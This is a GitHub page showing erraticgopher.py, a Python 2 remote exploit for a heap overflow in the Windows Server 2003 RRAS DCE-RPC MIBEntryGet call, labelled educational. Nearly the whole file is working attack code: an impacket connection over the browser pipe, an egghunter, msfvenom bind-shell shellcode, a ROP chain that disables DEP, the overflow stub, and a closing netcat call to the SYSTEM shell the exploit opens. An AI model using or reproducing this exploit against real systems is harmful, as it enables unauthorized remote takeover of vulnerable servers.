-
Notifications
You must be signed in to change notification settings - Fork 0
/
erraticgopher.py
99 lines (86 loc) · 4.72 KB
/
erraticgopher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# -*- coding: utf-8 -*-
##################################################################################
# By Victor Portal (vportal) for educational porpouse only
##################################################################################
# This exploit is the python version of the ErraticGopher exploit probably #
# with some modifications. ErraticGopher exploits a memory corruption #
# (seems to be a Heap Overflow) in the Windows DCE-RPC Call MIBEntryGet. #
# Because the Magic bytes, the application redirects the execution to the #
# iprtrmgr.dll library, where a instruction REPS MOVS (0x641194f5) copy #
# all te injected stub from the heap to the stack, overwritten a return #
# address as well as the SEH handler stored in the Stack, being possible #
# to control the execution flow to disable DEP and jump to the shellcode #
# as SYSTEM user. #
##################################################################################
#The exploit only works if target has the RRAS service enabled
#Tested on Windows Server 2003 SP2
import struct
import sys
import time
import os
from threading import Thread
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
target = sys.argv[1]
print '[-]Initiating connection'
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % target
dce = trans.DCERPC_class(trans)
#RRAS DCE-RPC CALL
dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0')))
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
egghunter += "\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00" -f python
buf = ""
buf += "\xb8\x1d\xc9\x4f\x7b\xd9\xc3\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x5e\xc7\xad"
buf += "\x8e\x9c\x3f\xb3\x71\x5c\xc0\xd4\xf8\xb9\xf1\xd4\x9f"
buf += "\xca\xa2\xe4\xd4\x9e\x4e\x8e\xb9\x0a\xc4\xe2\x15\x3d"
buf += "\x6d\x48\x40\x70\x6e\xe1\xb0\x13\xec\xf8\xe4\xf3\xcd"
buf += "\x32\xf9\xf2\x0a\x2e\xf0\xa6\xc3\x24\xa7\x56\x67\x70"
buf += "\x74\xdd\x3b\x94\xfc\x02\x8b\x97\x2d\x95\x87\xc1\xed"
buf += "\x14\x4b\x7a\xa4\x0e\x88\x47\x7e\xa5\x7a\x33\x81\x6f"
buf += "\xb3\xbc\x2e\x4e\x7b\x4f\x2e\x97\xbc\xb0\x45\xe1\xbe"
buf += "\x4d\x5e\x36\xbc\x89\xeb\xac\x66\x59\x4b\x08\x96\x8e"
buf += "\x0a\xdb\x94\x7b\x58\x83\xb8\x7a\x8d\xb8\xc5\xf7\x30"
buf += "\x6e\x4c\x43\x17\xaa\x14\x17\x36\xeb\xf0\xf6\x47\xeb"
buf += "\x5a\xa6\xed\x60\x76\xb3\x9f\x2b\x1f\x70\x92\xd3\xdf"
buf += "\x1e\xa5\xa0\xed\x81\x1d\x2e\x5e\x49\xb8\xa9\xa1\x60"
buf += "\x7c\x25\x5c\x8b\x7d\x6c\x9b\xdf\x2d\x06\x0a\x60\xa6"
buf += "\xd6\xb3\xb5\x69\x86\x1b\x66\xca\x76\xdc\xd6\xa2\x9c"
buf += "\xd3\x09\xd2\x9f\x39\x22\x79\x5a\xaa\x47\x75\x64\xd3"
buf += "\x30\x8b\x64\x32\x9d\x02\x82\x5e\x0d\x43\x1d\xf7\xb4"
buf += "\xce\xd5\x66\x38\xc5\x90\xa9\xb2\xea\x65\x67\x33\x86"
buf += "\x75\x10\xb3\xdd\x27\xb7\xcc\xcb\x4f\x5b\x5e\x90\x8f"
buf += "\x12\x43\x0f\xd8\x73\xb5\x46\x8c\x69\xec\xf0\xb2\x73"
buf += "\x68\x3a\x76\xa8\x49\xc5\x77\x3d\xf5\xe1\x67\xfb\xf6"
buf += "\xad\xd3\x53\xa1\x7b\x8d\x15\x1b\xca\x67\xcc\xf0\x84"
buf += "\xef\x89\x3a\x17\x69\x96\x16\xe1\x95\x27\xcf\xb4\xaa"
buf += "\x88\x87\x30\xd3\xf4\x37\xbe\x0e\xbd\x48\xf5\x12\x94"
buf += "\xc0\x50\xc7\xa4\x8c\x62\x32\xea\xa8\xe0\xb6\x93\x4e"
buf += "\xf8\xb3\x96\x0b\xbe\x28\xeb\x04\x2b\x4e\x58\x24\x7e"
buf += "\x90\x90\x90\x90"
#NX disable routine for Windows Server 2003 SP2
rop = "\x30\xdb\xc0\x71" #push esp, pop ebp, retn ws_32.dll
rop += "\x45"*16
rop += "\xe9\x77\xc1\x77" #push esp, pop ebp, retn 4 gdi32.dll
rop += "\x5d\x7a\x81\x7c" #ret 20
rop += "\x71\x42\x38\x77" #jmp esp
rop += "\xf6\xe7\xbd\x77" #add esp,2c ; retn msvcrt.dll
rop += "\x90"*2 + egghunter + "\x90"*42
rop += "\x17\xf5\x83\x7c" #Disable NX routine
rop += "\x90"*4
stub = "\x21\x00\x00\x00\x10\x27\x00\x00\x30\x07\x00\x00\x00\x40\x51\x06\x04\x00\x00\x00\x00\x85\x57\x01\x30\x07\x00\x00\x08\x00\x00\x00" #Magic bytes
stub += "\x41"*20 + rop + "\xCC"*100 + "w00tw00t" + buf + "\x42"*(1313-20-len(rop)-100-8-len(buf))
stub += "\x12" #Magic byte
stub += "\x46"*522
stub += "\x04\x00\x00\x00\x00\x00\x00\x00" #Magic bytes
dce.call(0x1d, stub) #0x1d MIBEntryGet (vulnerable function)
print "[-]Exploit sent to target successfully..."
print "Waiting for shell..."
time.sleep(5)
os.system("nc " + target + " 4444")